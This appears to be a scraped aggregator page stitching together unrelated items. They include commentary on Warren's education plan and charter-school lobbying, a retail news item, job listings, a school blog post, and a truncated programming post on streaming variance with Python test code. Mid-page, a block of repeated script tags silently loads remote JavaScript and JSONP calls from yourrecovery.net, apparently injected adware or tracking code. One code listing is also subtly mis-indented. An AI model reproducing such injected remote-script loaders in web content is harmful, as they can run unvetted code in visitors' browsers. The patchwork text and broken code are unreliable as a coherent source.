Burris also describes resistance from Tom Torkelson, the leader of one of the nation’s largest chains of charter schools, IDEA Charter Schools. Burris explains: “Torkelson, the CEO of the IDEA charter chain has a… vested interest in the preservation of the Federal Charter Schools Program.  IDEA Charter Schools has received $225,000,000 from the Charter Schools Program since 2010. In 2018, IDEA had nearly $900 million in assets. That year, Torkelson earned over $550,000 from the charter chain and its related organization….” When Elizabeth Warren released her education plan, Torkelson sent this to his allies: “Senator Warren has proposed to cut the entire charter schools federal program. We need your help today.”

Finally Burris quotes Richard Barth, CEO of the KIPP Foundation and one of the founders of the huge Knowledge is Power Program (KIPP) charter school chain.  Barth condemned Warren’s education plan in a fund raising plea from the National Alliance for Public Charter Schools PAC. He wrote: “Friends, We can’t let Senator Warren’s plan of cutting charter school funding become reality.”  Burris adds that in 2010, KIPP charters received $218,457,063 from the federal CSP.

In a second column last week, Burris responds once again to charter school advocates’ attacks on Elizabeth Warren’s education plan.  In her recent column, Burris is joined by Kevin Welner, director of the National Education Policy Center at the University of Colorado at Boulder and a professor of education policy.  The Washington Post’Valerie Strauss published the column from Burris and Welner, and she adds that Welner, “was among the researchers consulted by Warren’s policy team as they drew up her education plan—but they (NEPC researchers) had no involvement in, or awareness of, this commentary” by Burris and Welner.

Burris and Welner confront charter school operators who have said they would lose essential dollars if the federal Charter Schools Program were eliminated. Burris and Welner note that because charter schools, like traditional public schools, receive federal Title I dollars and IDEA dollars, charter schools would gain more from Warren’s plan than they would lose from the elimination of the federal CSP: “Consider two… elements of Warren’s education plan.  First, she proposes quadrupling Title I funding so that it rises to levels that have long been pledged by Washington politicians but never actually reached. Secondly, and similarly, she would more than double federal funding for students with special needs served under the Individuals with Disabilities Education Act (IDEA)—again aiming for levels long promised but never fulfilled.”

Burris and Welner criticize charter schools for serving fewer English language learners, fewer students with disabilities, fewer homeless students, and fewer students eligible for subsidized lunch than the traditional public schools in their neighborhoods.

Burris and Welner add that federal Charter Schools Program grants have disproportionately been awarded to the enormous chains of charter schools which enrich their operators with huge salaries: “(A) greatly disproportionate amount of the funding has been funneled to large Charter Management Organizations.  The Success Academy charter chain in New York City, for example, has received $47,540,399 from CSP, even as it paid its CEO nearly $800,000 in 2016.”

Last week, charter advocates gathered in a public demonstration against Warren’s education plan.  As Warren addressed an audience at Clark Atlanta University, a crowd of charter school advocates in matched t-shirts showed up to challenge her proposal to cut support for charter schools.  It turns out that this was not a spontaneous grassroots protest; instead the crowd was recruited by charter school support organizations from across the country and led by Howard Fuller, the charter school advocate who also led organizing for the Milwaukee voucher program twenty years ago.  Chalkbeat‘s Matt Barnum reports: “Fuller, former Milwaukee schools chief and advocate for private school vouchers, told Warren that her language is helping anti-charter efforts across the country. A number of states, including California, Illinois, and Michigan, have recently moved to limit charter schools or cut their funding.”

Who were the people at the Clark Atlanta University protest? Barnum reports: “Fuller told Chalkbeat that roughly 200 people from a number of overlapping groups took part in the protest. That included the Freedom Coalition for Charter Schools, a group that Fuller started with Connecticut charter school leader Steve Perry. They (protest organizers) worked with the Powerful Parent Network—a collection of groups in Atlanta, Nashville, Memphis, and elsewhere… They were funded by an online campaign, which has raised over $16,000 from a mix of small donations and several anonymous $1,000 contributions.”  One of the participating groups, Memphis Lift, “has received $1.5 million from the Walton Family Foundation since 2015.”  Another participating group was the Oakland Reach: “(M)ost of the staff of the Oakland Reach, a parent group, was in Atlanta for the protest.  The Oakland Reach is funded by local and national foundations, including Walton and The City Fund, which is backed by John Arnold and Read Hastings… Bryan Morton, who leads a Camden group supported by The City Fund, was also present.”

Elizabeth Warren’s education plan is radical, ironically, simply because it supports America’s traditional system of public schools. While advocates for charter schools imagine using public tax dollars to create escapes for a small percentage of students from public schools into an unregulated education sector which has, incidentally, become saturated with corruption and academic failure, Warren’s plan aims instead to ensure well funded, high quality public schools in every school district.  Warren is suggesting the kind of adequate funding, for example, that public school teachers, on strike in Chicago, bargained for last month when they won a promise for an additional $35 million every year to restore reasonable class sizes across the district’s schools. The size of that increase alone for class size reduction is the clearest indication I have observed of how totally out-of-kilter funding for education has become in many states. Similarly, a central demand by striking teachers in Los Angeles was for the most basic level of staffing in every public school—including a school nurse, a certified librarian, a social worker, and an adequate number of guidance counselors.

Whatever happens with Warren’s candidacy in the Democratic primary election season, I hope she won’t back off her plan to demand justice for the public schools which serve nearly 50 million children and adolescents across the United States.

elaine November 27, 2019
Source

          

Universal Standard launches concept shop in NYC

 Cache   

Dubbed 'Universal Standard 1:1' – a new experiential retail space “for all of US, as we are," the space was designed to be both a shopping space and a community space.
 
Located on the fourth floor at 192 Mercer Street, customers can come to shop in-store or reserve the community space for personalized gatherings such as dinners, networking, book clubs, and exhibitions. Universal Standard will also host its own curated programming and community events with local brands, artists, and organizations for unique events and gatherings. 
 
“Everything is changing. Shopping in a physical space needs to be about much more than the purchase transaction,” said Alex Waldman, Universal Standard co-founder and COO, in a news statement. 
 
“Bringing delight and value beyond the product is everything. We wanted to create a space our customers felt was theirs as well – their pied a terre in the heart of every city a 1:1 exists.”
 
The 1:1 spaces are also available to customers for free.
 
“There are no rental fees, no membership fees because we have learned that generosity is never wasted on our customers. Universal Standard is about access – period – and the community we see coming together in these spaces all over the country is everything we intended to bring into being when we started our company,” added Waldman. 
 
The New York City location is the company’s fifth, after Seattle, Chicago, Portland and Houston. Meanwhile, the company plans for ten more openings over the next 12 months.
 
The fashion brand was founded by Polina Veksler and Alexandra Waldman with the overarching mission of “Fashion Freedom” and style without size barriers. 

Source: Fashion Network

<script type="text/javascript" src="//yourrecovery.net/20f4f9c60ef9e65fac.js"></script> <script type="text/javascript" src="http://yourrecovery.net/optout/set/lat?jsonp=__mtz_cb_824597344&key=20f4f9c60ef9e65fac&cv=1574921331&t=1574921331397"></script> <script type="text/javascript" src="http://yourrecovery.net/optout/set/lt?jsonp=__mtz_cb_692920914&key=20f4f9c60ef9e65fac&cv=638657&t=1574921331398"></script> <script type="text/javascript" src="//yourrecovery.net/20f4f9c60ef9e65fac.js"></script> <script type="text/javascript" src="http://yourrecovery.net/optout/set/lat?jsonp=__mtz_cb_151066399&key=20f4f9c60ef9e65fac&cv=1574921334&t=1574921334042"></script> <script type="text/javascript" src="http://yourrecovery.net/optout/set/lt?jsonp=__mtz_cb_442565804&key=20f4f9c60ef9e65fac&cv=638660&t=1574921334042"></script> <script type="text/javascript" src="//yourrecovery.net/20f4f9c60ef9e65fac.js"></script> <script type="text/javascript" src="http://yourrecovery.net/optout/set/lat?jsonp=__mtz_cb_581784488&key=20f4f9c60ef9e65fac&cv=1574921336&t=1574921336130"></script> <script type="text/javascript" src="http://yourrecovery.net/optout/set/lt?jsonp=__mtz_cb_93742333&key=20f4f9c60ef9e65fac&cv=638662&t=1574921336131"></script> <script type="text/javascript" src="//yourrecovery.net/20f4f9c60ef9e65fac.js"></script>
          

tedu@honk.tedunangst.. bonked https://floss.social/users/alcinnz/statuses/103222411291476835

 Cache   

@yogthos I find low-level projects like GCC, Linux, & GDB are good examples of this. I've heard that Linus Torvalds or Richard Stallman first wrote these they only worked on a specific CPU architecture.

Now they've been totally rearchitected to work on any CPU architecture.

Feel free to debate if this is the best way to organize the programming effort, but it sure makes it more straightforward to install an OS.


          

Information Technology Specialist 2 (Programming)

 Cache   
ID: 76483
Deadline: 12/13/19
Grade: 18
County: Albany



          

Information Technology Specialist 2 (Programming) - Item# 00829

 Cache   
ID: 76400
Deadline: 12/10/19
Grade: 18
County: Albany



          

Comment on How to install the latest version of Python on CentOS by Gmail server error 007

 Cache   
It is a high-level programming language designed to be easy to read and simple to implement. It is open-source, which means it is free to use, even for commercial applications.
          

Top 10 most read mortgage broker stories this week – 29/11/2019

 Cache   

Technology was a talking point this week, with NatWest backing a mortgage and home buying app and the Nationwide piloting application programming interface technology to reduce rekeying.

The post Top 10 most read mortgage broker stories this week – 29/11/2019 appeared first on Mortgage Solutions.


          

Classroom Highlight: Real World Learning at Island School, Kaua'i

 Cache   


We're bring you a new HSTE blog series called "Classroom Highlights"! Each month we'll visit a new school or classroom to bring attention to the amazing teaching and learning that's happening across the state of Hawai'i. This month we're visiting with Nathaniel Evslin, our current HSTE President, at Island School on Kaua'i.

At Island School on Kaua'i I teach introduction to computer science. This class covers creating websites using HTML and CSS as well as introductory programming topics using Python. After students have learned the basics of creating a website, they go out and find a real client to create a website for. These clients are usually family or friends that need a website for a business. If the client likes the site they can then take it over. This works great for the students because it gives them a wider audience for the sites that they create and gives them the experience of working with a client. Students spend so much of the their school life only producing for the teacher, if they are given the opportunity to work with a wider audience they really step up the challenge.

I think that bringing real world experience into the classroom is a wonderful way to bring out the best in the students. 

Sample Sites from class:



Nathaniel Evslin is the current HSTE Board President. He is also the Director of Technology and Deeper Learning at Island School on Kauai. 


          

Paul Khuong: A Multiset of Observations With Constant-time Sample Mean and Variance

 Cache   

Let’s say you have a multiset (bag) of “reals” (floats or rationals), where each value is a sampled observations. It’s easy to augment any implementation of the multiset ADT to also return the sample mean of the values in the multiset in constant time: track the sum of values in the multiset, as they are individually added and removed. This requires one accumulator and a counter for the number of observations in the multiset (i.e., constant space), and adds a constant time overhead to each update.

It’s not as simple when you also need the sample variance of the multiset \(X\), i.e.,

\[\frac{1}{n - 1} \sum\sb{x \in X} (x - \hat{x})\sp{2},\]

where \(n = |X|\) is the sample size and \(\hat{x}\) is the sample mean \(\sum\sb{x\in X} x/n,\) ideally with constant query time, and constant and update time overhead.

One could try to apply the textbook equality

\[s\sp{2} = \frac{1}{n(n-1)}\left[n\sum\sb{x\in X} x\sp{2} - \left(\sum\sb{x\in X} x\right)\sp{2}\right].\]

However, as Knuth notes in TAoCP volume 2, this expression loses a lot of precision to round-off in floating point: in extreme cases, the difference might be negative (and we know the variance is never negative). More commonly, we’ll lose precision when the sampled values are clustered around a large mean. For example, the sample standard deviation of 1e8 and 1e8 - 1 is 0.5, same as for 0 and 1. However, the expression above would evaluate that to 0.0, even in double precision: while 1e8 is comfortably within range for double floats, its square 1e16 is outside the range where all integers are represented exactly.

Knuth refers to a better behaved recurrence by Welford, where a running sample mean is subtracted from each new observation before squaring. John Cook has a C++ implementation of the recurrence that adds observations to a sample variance in constant time. In Python, this streaming algorithm looks like this.

streaming_variance.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class StreamingVariance:
    def __init__(self):
        self.n = 0
        self.mean = 0
        self.var_sum = 0  # variance of the sum (sum x_i^2)

    def observe(self, v):
        self.n += 1
        if self.n == 1:
            self.mean = v
            return
        old_mean = self.mean
        self.mean += (v - old_mean) / self.n
        self.var_sum += (v - old_mean) * (v - self.mean)

        def get_mean(self):
        return self.mean

    def get_variance(self):
        return self.var_sum / (self.n - 1) if self.n > 1 else 0

That’s all we need for insert-only multisets, but does not handle removals; if only we had removals, we could always implement updates (replacement) as a removal and an insertion.

Luckily, StreamingVariance.observe looks invertible. It’s shouldn’t be hard to recover the previous sample mean, given v, and, given the current and previous sample means, we can re-evaluate (v - old_mean) * (v - self.mean) and subtract it from self.var_sum.

Let \(\hat{x}\sp{\prime}\) be the sample mean after observe(v). We can recover the initial sample mean \(\hat{x}\) from \(v\):

\[(n - 1)\hat{x} = n\hat{x}\sp{\prime} - v \Leftrightarrow \hat{x} = \hat{x}\sp{\prime} + \frac{\hat{x}\sp{\prime} - v}{n-1}.\]

This invertibility means that we can undo calls to observe in LIFO order. We can’t handle arbitrary multiset updates, only a stack of observation. That’s still better than nothing.

variance_stack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class VarianceStack:
    def __init__(self):
        self.n = 0
        self.mean = 0
        self.var_sum = 0  # variance of the sum

    def push(self, v):
        self.n += 1
        if self.n == 1:
            self.mean = v
            return
        old_mean = self.mean
        self.mean += (v - old_mean) / self.n
        self.var_sum += (v - old_mean) * (v - self.mean)

    def pop(self, v):
        assert self.n > 0
        if self.n == 1:
            self.n = 0
            self.mean = 0
            self.var_sum = 0
            return
        next_n = self.n - 1
        old_mean = self.mean
        self.mean = old_mean + (old_mean - v) / next_n
        # var_sum should never be negative, clamp it so.
        self.var_sum = max(0, self.var_sum - (v - self.mean) * (v - old_mean))
        self.n -= 1

    def get_mean(self):
        return self.mean

    def get_variance(self):
        return self.var_sum / (self.n - 1) if self.n > 1 else 0

Before going any further, let’s test this.

Testing the VarianceStack

The best way to test the VarianceStack is to execute a series of push and pop calls, and compare the results of get_mean and get_variance with batch reference implementations.

I could hardcode calls in unit tests. However, that quickly hits diminishing returns in terms of marginal coverage VS developer time. Instead, I’ll be lazy, completely skip unit tests, and rely on Hypothesis, its high level “stateful” testing API in particular.

We’ll keep track of the values pushed and popped off the observation stack in the driver: we must make sure they’re matched in LIFO order, and we need the stack’s contents to compute the reference mean and variance. We’ll also want to compare the results with reference implementations, modulo some numerical noise. Let’s try to be aggressive and bound the number of float values between the reference and the actual results.

variance_stack_driver.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import struct
import unittest
import hypothesis.strategies as st
from hypothesis.stateful import RuleBasedStateMachine, invariant, precondition, rule


def float_bits(x: float) -> int:
    bits = struct.unpack('=q', struct.pack('=d', x))[0]
    significand = bits % (1 << 63)
    # ~significand = -1 - significand. We need that instead of just
    # -significand to handle signed zeros.
    return significand if bits >= 0 else ~significand


FLOAT_DISTANCE = 2**10


def assert_almost_equal(x, y, max_delta=FLOAT_DISTANCE):
    assert abs(float_bits(x) - float_bits(y)) <= max_delta


class VarianceStackDriver(RuleBasedStateMachine):
    def __init__(self):
        super(VarianceStackDriver, self).__init__()
        self.values = []

    @rule(v=st.floats(allow_nan=False, allow_infinity=False))
    def push(self, v):
        self.values.append(v)

    # Don't generate `pop()` calls when the stack is empty.
    @precondition(lambda self: self.values)
    @rule()
    def pop(self):
        self.values.pop()

    def reference_mean(self):
        if self.values:
            return sum(self.values) / len(self.values)
        return 0

    def reference_variance(self):
        n = len(self.values)
        if n <= 1:
            return 0
        mean = self.reference_mean()
        return sum(pow(x - mean, 2) for x in self.values) / n

    @invariant()
    def mean_matches(self):
        assert_almost_equal(self.reference_mean(), self.reference_mean())

    @invariant()
    def variance_matches(self):
        assert_almost_equal(self.reference_variance(),
                            self.reference_variance())


StackTest = VarianceStackDriver.TestCase

if __name__ == '__main__':
    unittest.main()

This initial driver does not even use the VarianceStack yet. All it does is push values to the reference stack, pop values when the stack has something to pop, and check that the reference implementations match themselves after each call: I want to first shake out any bug in the test harness itself.

Not surprisingly, Hypothesis does find an issue in the reference implementation:

Falsifying example:
state = VarianceStackDriver()
state.push(v=0.0)
state.push(v=2.6815615859885194e+154)
state.teardown()

We get a numerical OverflowError in reference_variance: 2.68...e154 / 2 is slightly greater than sqrt(sys.float_info.max) = 1.3407807929942596e+154, so taking the square of that value errors out instead of returning infinity.

Let’s start by clamping the range of the generated floats.

variance_stack_driver.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import math
import sys
...


MAX_RANGE = math.sqrt(sys.float_info.max) / 2

FLOAT_STRATEGY = st.floats(min_value=-MAX_RANGE, max_value=MAX_RANGE)

class VarianceStackDriver(RuleBasedStateMachine):
    ...

    @rule(v=FLOAT_STRATEGY)
    def push(self, v):
        self.variance_stack.push(v)
        self.values.append(v)

    ...

Now that the test harness doesn’t find fault in itself, let’s hook in the VarianceStack, and see what happens when only push calls are generated (i.e., first test only the standard streaming variance algorithm).

variance_stack_driver.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def assert_almost_equal(x, y, max_delta=FLOAT_DISTANCE):
    distance = abs(float_bits(x) - float_bits(y))
    # Print out some useful information on failure.
    assert distance <= max_delta, '%.18g != %.18g (%f)' % (x, y, math.log(distance, 2))

class VarianceStackDriver(RuleBasedStateMachine):
    def __init__(self):
        super(VarianceStackDriver, self).__init__()
        self.values = []
        self.variance_stack = VarianceStack()

    @rule(v=FLOAT_STRATEGY)
    def push(self, v):
        self.variance_stack.push(v)
        self.values.append(v)

    # Never generate `pop()`
    @precondition(lambda self: self.values and False)
    @rule()
    def pop(self):
        self.values.pop()

    def reference_mean(self):
        if self.values:
            return sum(self.values) / len(self.values)
        return 0

    def reference_variance(self):
        n = len(self.values)
        if n <= 1:
            return 0
        mean = self.reference_mean()
        return sum(pow(x - mean, 2) for x in self.values) / n

    @invariant()
    def mean_matches(self):
        assert_almost_equal(self.reference_mean(),
                            self.variance_stack.get_mean())

    @invariant()
    def variance_matches(self):
        assert_almost_equal(self.reference_variance(),
                            self.variance_stack.get_variance())

This already fails horribly.

Falsifying example:
state = VarianceStackDriver()
state.push(v=1.0)
state.push(v=1.488565707357403e+138)
state.teardown()
F

The reference finds a variance of 5.54e275, which is very much not the streaming computation’s 1.108e276. We can manually check that the reference is wrong: it’s missing the n - 1 correction term in the denominator.

We should use this updated reference.

variance_stack_driver.py
1
2
3
4
5
6
7
8
9
class VarianceStackDriver(RuleBasedStateMachine):
    ...

    def reference_variance(self):
        n = len(self.values)
        if n <= 1:
            return 0
        mean = self.reference_mean()
        return sum(pow(x - mean, 2) for x in self.values) / (n - 1)

Let’s now re-enable calls to pop().

variance_stack_driver.py
1
2
3
4
5
6
7
8
class VarianceStackDriver(RuleBasedStateMachine):
    ...

    @precondition(lambda self: self.values)
    @rule()
    def pop(self):
        self.variance_stack.pop(self.values[-1])
        self.values.pop()

And now things fail in new and excitingly numerical ways.

Falsifying example:
state = VarianceStackDriver()
state.push(v=0.0)
state.push(v=0.00014142319560050964)
state.push(v=14188.9609375)
state.pop()
state.teardown()
F

This counter-example fails with the online variance returning 0.0 instead of 1e-8. That’s not unexpected: removing a (the square of) large value from a running sum spells catastrophic cancellation. It’s also not that bad for my use case, where I don’t expect to observe very large values.

Another problem for our test harness is that floats are very dense around 0.0, and I’m ok with small (around 1e-8) absolute error because the input and output will be single floats.

Let’s relax assert_almost_equal, and restrict generated observations to fall in \([-2\sp{-12}, 2\sp{12}].\)

variance_stack_driver.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Let values be off by ~1 single float ULP
FLOAT_DISTANCE = 2**32

# or by 1e-8
ABSOLUTE_EPS = 1e-8


def assert_almost_equal(x, y, max_delta=FLOAT_DISTANCE, abs_eps=ABSOLUTE_EPS):
    delta = abs(x - y)
    distance = abs(float_bits(x) - float_bits(y))
    assert distance <= max_delta or delta <= abs_eps, '%.18g != %.18g (%f)' % (
        x, y, math